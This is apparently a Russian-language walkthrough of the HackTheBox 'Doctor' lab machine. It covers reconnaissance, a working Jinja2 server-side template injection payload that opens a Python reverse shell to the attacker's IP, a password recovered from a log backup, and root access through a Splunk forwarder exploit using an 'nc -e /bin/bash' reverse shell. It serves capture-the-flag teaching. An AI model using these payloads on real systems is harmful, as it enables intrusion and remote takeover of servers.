Прохождение HackTheBox Doctor
SHADOW:GroupОС: Linux
Сложность: легко
Баллы: 20
Релиз: 26 сен 2020
IP: 10.10.10.209
Сбор Информации
Проверяем открытые порты с помощью nmap:
nmap -sV -sC -Pn 10.10.10.209

Видим открытый 80 порт и смотрим, что на нем размещено.
http://10.10.10.209
Видим лендинг врачебной тематики, и бросаем взор на поле с контактами.

info@doctors.htb выглядит интересно. пробуем добавить данное имя хоста в файл hosts и посмотреть, не получим ли мы что-нибудь новое.
nano /etc/hosts

Теперь переходим по адресу:
http://doctors.htb
и видим страницу авторизации. Уже интересней. Пробуем пару простых
sql-инъекций, но все безуспешно.

Нас просят залогиниться, для доступа к данной странице. Мы так и поступим. Попробуем зарегистрироваться с рандомными данными и пройти авторизацию.

И все проходит успешно. Нас встречает страница с сообщениями.

Попробуем создать свое сообщение. Видим два поля, это title и content. Вводим случайные значения и видим, что сообщение опубликовано.

Попробуем посмотреть код страницы
ctrl+U

и обращаем внимание на комментарий в котором указано, что архив в дирректории /archive находится в статусе бета-тестирования.
Пробуем перейти в эту дирректорию и посмотреть, что там
https://doctors.htb/archive
и видим абсолютно пустую страницу. Посмотрим код этой страницы и видим кое-что интересное:

Заголовок сообщения, опубликованного нами ранее, находится на данной странице, между тегами <title> и <item>.
Первое, что приходит в голову, это попробовать закрыть теги и вывести сообщение на экран. Создаем сообщение
</title></item>123<h1></h1>

Публикуем его:

Переходим на страницу:
http:/doctor.htb/archive

И видим, что инъекция прошла успешно. Данная уязвимость носит название Server-Side Template Injection или SSTI и представляет собой механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Так как инъекция шаблона производится на стороне сервера, то многие защитные программы, фильтрующие трафик со стороны пользователя, не обнаруживают постороннего вмешательства.
При обнаружении SSTI нужно попытаться определить, какой шаблонизатор используется. Как это сделать, можете почитать в этой статье.
В нашем случае подойдет полезная нагрузка вида {{7*'7'}}. Если на стороне сервера стоит шаблонизатор Jinja2, то он выведет математический подсчет нашей полезной нагрузки, в данном случае это будет 7777777
Для начала удалим все прошлые посты, чтобы не мешали. Теперь создаем пост:
</title></item>{{7*'7'}}<h1></h1>

Переходим на страницу с архивом:
http://doctors.htb/archive

И видим, что наша полезная нагрузка успешно посчиталась, следовательно на сервере стоит шаблонизатор Jinja2.
Получаем пользователя
Переходим в этот репозиторий и смотрим готовые полезные нагрузки для этого шаблонизатора. Мой внимание привлекла нагрузка, под названием "Exploit the SSTI by calling Popen without guessing the offset". Немного переделаем ее под получения реверс шелла и получим:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ВАШ_IP\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Вместо ВАШ_IP введите ваш IP.
Создаем пост с этим сообщением:

Теперь запустим netcat на прослушивание порта,
nc -nlvp 9001
переходим в директорию с архивом,
http://doctors.htb/archive
и получаем шелл от пользователя web

Затем мы долгое время бродим по директориям, в поисках чего-нибудь интересного. Находим файл backup в папке /var/log/apache2 и смотрим его содержимое
cd /var/log/apache2 ls -la cat backup

В одной из строк видим пароль Guitar123. Перейдем в папку /home и посмотрим других доступных пользователей, чтобы попробовать для них этот пароль. Видим пользователя shaun, пробуем найденный пароль для него

и успешно логинимся как shaun. Можем забрать флаг пользователя:
cat user.txt

Повышаем привилегии
Запустим LinEnum.sh и внимательно изучим его вывод.

после некоторого поиска в Google мы обнаруживаем, что следующий скрипт может быть использован для получения привилегий
Качаем на нашу машину скрипт и запускаем его:
git clone https://github.com/cnotin/SplunkWhisperer2.git cd SplunkWhisperer2 cd PySplunkWhisperer2 pip3 install -r requirements.txt
В другом окне запустим netcat на прослушивание:
nc -nlvp 1234
Теперь можем запустить наш скрипт:
python3 PySplunkWhisperer2_remote.py --lhost ВАШ_IP --host 10.10.10.209 --username shaun --password Guitar123 --payload 'nc.traditional -e /bin/bash 'ВАШ_IP' '1234''
Вместо ВАШ_IP введите ваш IP.
В полезной нагрузке мы используем nc.traditional вместо nс, потому что у nc на удаленной машине отсутствует параметр -e.

Забираем флаг пользователя:
cat /root/root.txt
На этом все. Благодарю за просмотр!
Подпишись на канал - @shadow_group_tg